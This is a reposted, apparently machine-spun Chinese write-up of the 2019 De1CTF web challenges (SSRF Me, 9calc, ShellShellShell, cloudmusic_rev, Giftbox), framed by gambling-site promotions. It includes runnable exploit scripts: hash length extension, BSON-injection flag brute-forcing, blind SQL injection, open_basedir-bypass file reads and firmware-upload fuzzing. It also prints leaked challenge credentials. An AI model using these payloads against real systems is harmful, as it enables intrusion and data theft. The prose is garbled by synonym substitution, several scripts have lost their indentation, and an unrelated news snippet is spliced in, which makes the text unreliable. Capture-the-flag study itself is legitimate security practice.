实战:2019国际赛De1CTF & Web题解 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

实战:2019国际赛De1CTF & Web题解

申博_安全预警 申博 240次浏览 已收录 0个评论

媒介

为了去重庆XCTF Final吃火锅,周末就冲了一下De1CTF,以下是本次竞赛Web题解。

实战:2019国际赛De1CTF & Web题解

SSRF Me

拿到题目源码以下:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
    return hashlib.md5(content).hexdigest()
def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

视察一下,发明就是个比较裸的SSRF:

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

然后waf以下:

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

同时连系题目通知我们flag位置:

hint for [SSRF Me]: flag is in ./flag.txt

那末显著只要能恣意文件读取,bypass file过滤即可,这里轻易想到能够运用local_file:

实战:2019国际赛De1CTF & Web题解

然则我们发明想要应用scan,要先bypass署名校验:

def checkSign(self):
    if (getSign(self.action, self.param) == self.sign):
        return True
    else:
        return False

我们跟进getSign():

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

而salt我们晓得:

secert_key = os.urandom(16)

所以这显著是一个已知salt长度的hash长度拓展进击的题目,那末很轻易写出剧本以下:

import hashpumpy
import requests
import urllib
url = 'local_file:flag.txt'
r = requests.get('http://139.180.128.86/geneSign?param='+url)
old_sign = r.content
new_sign = hashpumpy.hashpump(old_sign, url + 'scan', 'read', 16)
cookies={
    'sign': new_sign[0],
    'action': urllib.quote(new_sign[1][19:])
}
r = requests.get('http://139.180.128.86/De1ta?param='+url, cookies=cookies)
print r.content

实战:2019国际赛De1CTF & Web题解

9calc

第3次calcalcalc了,不想再剖析了,剧本以下:

import requests
# flag1 js
# chr(j),i,chr(j)
data1 = r'''{"expression":{"value":"1//1 and '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00' or '\\\n&&'#' && ('1e1' != '10e0' && require('fs').readFileSync('/flag').toString()[%s] + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00') || eval('echo \"\\x1d\\x00\\x00\\x00\\x02ret\\x00\\x0f\\x00\\x00\\x00\".\"%s\";')\n","_bsontype":"Symbol"},"isVip":true}'''
# flag2 python
# i,chr(j),chr(j)
data2 = r'''{"expression":{"value":"1//1 and open('/flag').read()[%s] + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00' or '\\\n&&'#' && ('1e1' != '10e0' && '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00') || eval('echo \"\\x1d\\x00\\x00\\x00\\x02ret\\x00\\x0f\\x00\\x00\\x00\".\"%s\";')\n","_bsontype":"Symbol"},"isVip":true}'''
# flag3 php
# chr(j),chr(j),i
data3 = r'''{"expression":{"value":"1//1 and '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00' or '\\\n&&'#' && ('1e1' != '10e0' && '%s' + '\\x0f\\x00\\x00\\x00\\x02ret\\x00\\x01\\x00\\x00\\x00') || eval('echo \"\\x1d\\x00\\x00\\x00\\x02ret\\x00\\x0f\\x00\\x00\\x00\".file_get_contents(\"/flag\")[%s];')\n","_bsontype":"Symbol"},"isVip":true}'''
header = {
    "Content-Type":"application/json"
}
url = "http://45.77.242.16/calculate"
res = ''
for i in range(0,20):
print i
for j in range(32,127):
# now_data = data1%(chr(j),i,chr(j))
# now_data = data2%(i,chr(j),chr(j))
now_data = data3%(chr(j),chr(j),i)
r = requests.post(url,data=now_data,headers=header)
if 'ret' in r.content:
res+=chr(j)
print res
break

实战:2019国际赛De1CTF & Web题解

实战:2019国际赛De1CTF & Web题解

实战:2019国际赛De1CTF & Web题解

能够取得flag:

de1ctf{i_hate_bunkatsu_soho}

ShellShellShell

这题有点无语,第一层是N1CTF的题,参考以下链接:

https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540

这题再简朴说一下思绪吧:

1.注入取得管理员暗码

2.soapclient提议ssrf

3.举行CRLF头注入登录

4.拿到admin session

我们直接用上述链接中的剧本:

起首天生验证码映照关联:

实战:2019国际赛De1CTF & Web题解

然后是注入暗码:

实战:2019国际赛De1CTF & Web题解

实战:2019国际赛De1CTF & Web题解

末了是SSRF拿到admin session:

实战:2019国际赛De1CTF & Web题解

实战:2019国际赛De1CTF & Web题解

然后是一个裸上传:

实战:2019国际赛De1CTF & Web题解

同时提示我们flag在内网,这里的上传没任何过滤,随意传个小马即可RCE,然后上传代办,扫描内网,取得题目ip:

Nmap scan report for 172.18.0.1
Host is up (0.00031s latency).
Nmap scan report for dockerdir_getshell_1.dockerdir_default (172.18.0.2)
Host is up (0.00022s latency).
Nmap scan report for 29e2e46b7ac1 (172.18.0.3)
Host is up (0.00015s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 1.91 seconds

接见172.18.0.2,取得源码以下:

实战:2019国际赛De1CTF & Web题解

然后发明素昧平生= =:

错误配置的JIRA服务器已导致数百家财富500强企业和多国政府网站的敏感数据被泄漏

JIRA是目前比较流行的基于Java架构的管理系统,开发者是 Atlassian,是集项目计划、任务分配、需求管理、错误跟踪于一体的商业软件。由于Atlassian公司对很多开源项目实行免费提供缺陷跟踪服务,因此在开源领域,其认知度比其他的产品要高得多,而且易用性也好一些。目前,它已被122个国家的135000多家公司使用。 不过最近,安全工程师Avinash Jain

实战:2019国际赛De1CTF & Web题解

那末就用这篇Blog的体式格局能够轻松处理:

https://skysec.top/2018/11/04/2018%E4%B8%8A%E6%B5%B7%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B-web/#web3

cloudmusic_rev

看到是2.0版本,天性搜了一下,发明是2019国赛final的题目,题解以下:

https://github.com/impakho/ciscn2019_final_web1

根据题解思绪,能够敏捷拿到/lib/parser.so文件:

实战:2019国际赛De1CTF & Web题解

尝试读取.php的时刻,发明有过滤:

实战:2019国际赛De1CTF & Web题解

但能够用%2e url编码举行绕过:

实战:2019国际赛De1CTF & Web题解

那末读取症结文件举行diff:

upload.php

实战:2019国际赛De1CTF & Web题解

应用原题解中的体式格局举行password leak,发明代码有转变,简朴剖析发明是off by null,组织:

实战:2019国际赛De1CTF & Web题解

即可leak password:

admin
22Z2teQgmmLQJLjD

接着diff firmware.php:

实战:2019国际赛De1CTF & Web题解

实战:2019国际赛De1CTF & Web题解

发明在firmware中,文件名称做了修改,拼接字符串变成了remote_addr,而且在后面回显版本号的时刻,去掉了回显。

也就是说,这道题只能盲打了:

实战:2019国际赛De1CTF & Web题解

不会再如上图打印执行敕令效果了。

根据原题的思绪,我们运用以下敕令去getflag:

/usr/bin/tac /flag

然则考虑到不能回显,因而我们组织curl带出,编写响应的文件:

实战:2019国际赛De1CTF & Web题解

展望文件path:

<?php
$seed = strtotime("Sun, 04 Aug 2019 07:16:55 GMT");
for($i=-50;$i<50;$i++)
{
mt_srand($seed+$i);
echo md5(mt_rand()."202.120.234.54")."','";
}
fuzz目次与上传:
import requests
url = 'http://139.180.144.87:9090/hotload.php?page=firmware'
cookies = {
'PHPSESSID':'0khipdkurln3q6a4tli9t7v38o'
}
def upload():
f = open('exp.so','rb')
firmware = f.read()
files = {'file_data': firmware}
data = {'file_id': '0'}
r = requests.post(url=url, data=data, files=files,cookies=cookies)
if '"status":1' in r.content:
return r.headers
def fuzz_path(path):
data = {
'path':path
}
r = requests.post(url=url, data=data, cookies=cookies)
print r.content
if 'loading firmware' in r.content:
print path
r = upload()
print r
seed_list = ['8674e9e3b1f875549154d6e67275f996','df6dfa987283ffb730857170b5d43128','541c571155c89cd4e183b4b17cb15f58','6ec428a2d4228ef2378d38e0902cb8ab','e1badd072582c8e7aae04c3ee7e77dae','539276560804530afc08eb2499e0b865','6a2bd9ce496568d210e0a9c0d25b4dfb','c18761d54636950afddf19841d7d89b0','5e40c2d36b72330faec9ae8cc8728365','e5fdd8f158a6953e088abc2915ab211a','1d1952993a48af0128eaf6da5f32676b','9a189fabc6147d2f894468a657edf5b9','d255c575bf2b8d2af0f44f520a09369b','0a056867908b10edff7fc312d4798622','e537949893013ab3163806171bae5735','13f95e9313bfe44e8f80fa42980c1bc3','8aad66d7c84981b96d31760027c4ccd1','b47097b9846a8c83499d4342de33db31','82f720249f5b6c1c9faffc7a5ec93ebc','611c45a5ff023134e3034d1fd6de2248','04491f0cc963af38fac5752070608a34','8de0681a471bfb5868a843fa489864a3','83ffca4f8f927a2d4615e677b2b4b44c','55d9cbcf35c57ffb7dbc10a91490fe59','f38692e68e3628541adb02f4688804d1','19baad3d00d52e65f80a8593b4ba255d','1e4355a0829c2c740fa71ec49c8fa02a','8eb1d6fdc6bf3c774cddc76ab3868fb1','0e6d3172d8be061d7a4abf3e167574be','c7dc7167891bfa24d8e68fae459b643e','7d272df00c853691d3fcac63df650984','dcc78a64935d765ccda0813173a2cd16','f3ec93c54a6ca1719a467fade49ee233','f4974c648bead1faaca6f8fe38dcd3f2','519886b669fef5706ff30dd95ca48997','3db6f01c8d159dba6356ce0c2e337f30','502d5dc2723468c378d721bb1e868191','fa1df40a8ac9d237955d3e4c22cb4b45','04e0c4e04a675b45fad3ffaddfd9040c','efcbd1b16518f2bf91b958af269c030b','9409d27de31a6dd2550f8b9e1ae3aba9','6743ff069733273efa1cd624e431983e','92aa4fe93a448a1677d9782e5f81e62d','d309f564f9e116b1a69555d0f9fef3a8','1a16f4e59332688eea6e28677d5ac141','700cb511e95356b8b2877b79d01ad054','b3d8b293864a1621d889daca93bb4812','6b7d6adab9ed716b013f8fcc027bf314','ad689aa5e736a5b16564534e5b890e1f','f53152e6de1c50be961696c529872313','38e397ff4154ca8b1574d6f6c15f860e','0b800d7e01ee2bfe9cd7c3a113127ca0','856500703f201b2b2391ad11a764dc7e','88a7336ae95aa16de1c1104fb4f21b8a','f6c4c31982540d11a4885689b97cf3a4','99db02fc851509e4b32e74837d6016dd','bf63960fa6f4a4a08a33f9ce403c4fba','5910dd2743cc3b62e9ca4a4f5158b192','311b24e5788e747db2e479f7e22b7873','8322ab2861f27f19544f095978096f89','8bbe576e9e77d23631303ea2a04945e2','30c3afeed3110d63a9b9655ad85798a4','fab6fb7271b1e19ef47cd106df0df361','8fb438550190c9739d0f00e8cfcd9bd3','f4160f3b5400f9aeb03ffbcd3223af1b','240716ddb36b83dfe6d898ff3bfbe59b','8df5da70fa1004206502c60bb00b188d','513154bb13bbcd82fae47c9163c834cb','248a1a48cc311247505ad4e366c17913','57ee7af50ab35086d89ed3812cc4b922','56d1ae03f68465af760bebe3293d3f96','750d7d5423b613fbc8e9a20cc096a9c2','e722b86026e105dc33f568cbf65c8dc2','58e951f616b7828781abd35aaf3c2fad','6f940887eccffea62552d9d1579c34fe','cc615bb9a427a545bfb4c5aa6bb7e873','67a38d3d9f9a83300a31078a84e7bc6b','abb9c0849d11bd316db61bbef5de2522','3730b7a1430756cf80ef2ed80f334a3d','8129b4b2bb3cbe6f5cb7f4879267460b','f4c1d2ac6dc6369c828a8b2c6e4b8b6e','eec7163c18052f4d2844fc8a55200882','6715685e28f1da676cb6baa2da283ee5','5171458efb3e8fe0b6451d92022985c5','066253bcf4518a1ae34b5a6087547b3f','bc473690484a0e4095ff4861b865bf5d','87d32b90d517565857180baf8f78e67b','eab88164ddeffdf69450a1c8f63d2745','daa626adb92cc1676f5b361e39f2e300','c87a4851696eba43b471792cd7faa13d','399200ad28d61daf4b38309ed5f5f4ac','b75c53b9d349003f7dc5c04b00231184','4d8b7016cd85b5170bc1e2e9ee52ee71','8b844fa17339dcccb9ee471078fec5f2','91dfa5f1c6da365f7c6238713988c48b','1147948d33ade9b9dab90c313a8fd519','4363f8a2d8118f65a8e8311296246393','48bcc07d28e368d7d8d9798369398312','2a205e44d4222bdded0369b0623cad85','8101cc7c376b9404ad99c2a2b41d236c']
for i in seed_list:
fuzz_path(i)

爆破一轮后,胜利取得path,拿到flag:

实战:2019国际赛De1CTF & Web题解

Giftbox

题目拿到后,发明会往shell.php发ajax要求,并带有随机数,同时视察敕令:

实战:2019国际赛De1CTF & Web题解

发明有login,因而发明注入,写出剧本注出暗码:js

async function ajax(username) {
    return new Promise(function (resolve, reject) {
        let ajaxSetting = {
            url: host + `/shell.php?a=login%20${encodeURIComponent(username)}%201&validthis=1&totp=${new TOTP("GAXG24JTMZXGKZBU",8).genOTP()}`,
            type: "GET",
            dataType: 'json',
            success: function (response) {
                resolve(response);
            },
            error: function () {
                reject("要求失利");
            }
        }
        $.ajax(ajaxSetting);
 
    });
}
async function test(username) {
    const res = await ajax(username);
    return res.message
}
async function blind() {
    let ret = ""
    for(let j = 1; j < 100; j++) {
        for(let i = 0x20; i < 0x7f; i++) {
            //表名 const message = await test(`admin'and(ascii(substr((select\x0agroup_concat(TABLE_NAME)\x0afrom\x0ainformation_schema.TABLES\x0awhere\x0aTABLE_SCHEMA=database()),${j},1))=${i})#`)
            //列名 const message = await test(`admin'and(ascii(substr((select\x0agroup_concat(COLUMN_NAME)\x0afrom\x0ainformation_schema.COLUMNS\x0awhere\x0aTABLE_NAME=0x7573657273),${j},1))=${i})#`)
            const message = await test(`admin'and(ascii(substr((select\x0apassword\x0afrom\x0ausers\x0alimit\x0a0,1),${j},1))=${i})#`);
            if(message == 'login fail, password incorrect.') {
                ret += String.fromCharCode(i);
                console.log(ret)
                break;
            }
        }
        console.log(`${j}: ${ret}`)
    }
    return ret;
}

暗码为:

hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

实战:2019国际赛De1CTF & Web题解

发明就是eval的sandbox逃逸,而测试发明,过滤了大批的特殊符号,但可应用trick,以下:

实战:2019国际赛De1CTF & Web题解

同时花括号能够替代中括号:

$_GET[sky]  =  $_GET{sky}

那末能够组织出以下exp:

targeting a _GET
targeting b sky
targeting c {${$a}{$b}}
targeting d ${eval($c)}

然后发包的时刻带上sky参数即可RCE:

launch("chdir('/sandbox');chdir('modules');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('/*'));")

实战:2019国际赛De1CTF & Web题解

launch("chdir('/sandbox');chdir('modules');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(readfile('/flag'));")

实战:2019国际赛De1CTF & Web题解

跋文

De1CTF的Web照样比较简朴的,如果有更多解法请留言交换~

原文地点: https://www.4hou.com/web/19553.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明实战:2019国际赛De1CTF & Web题解
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址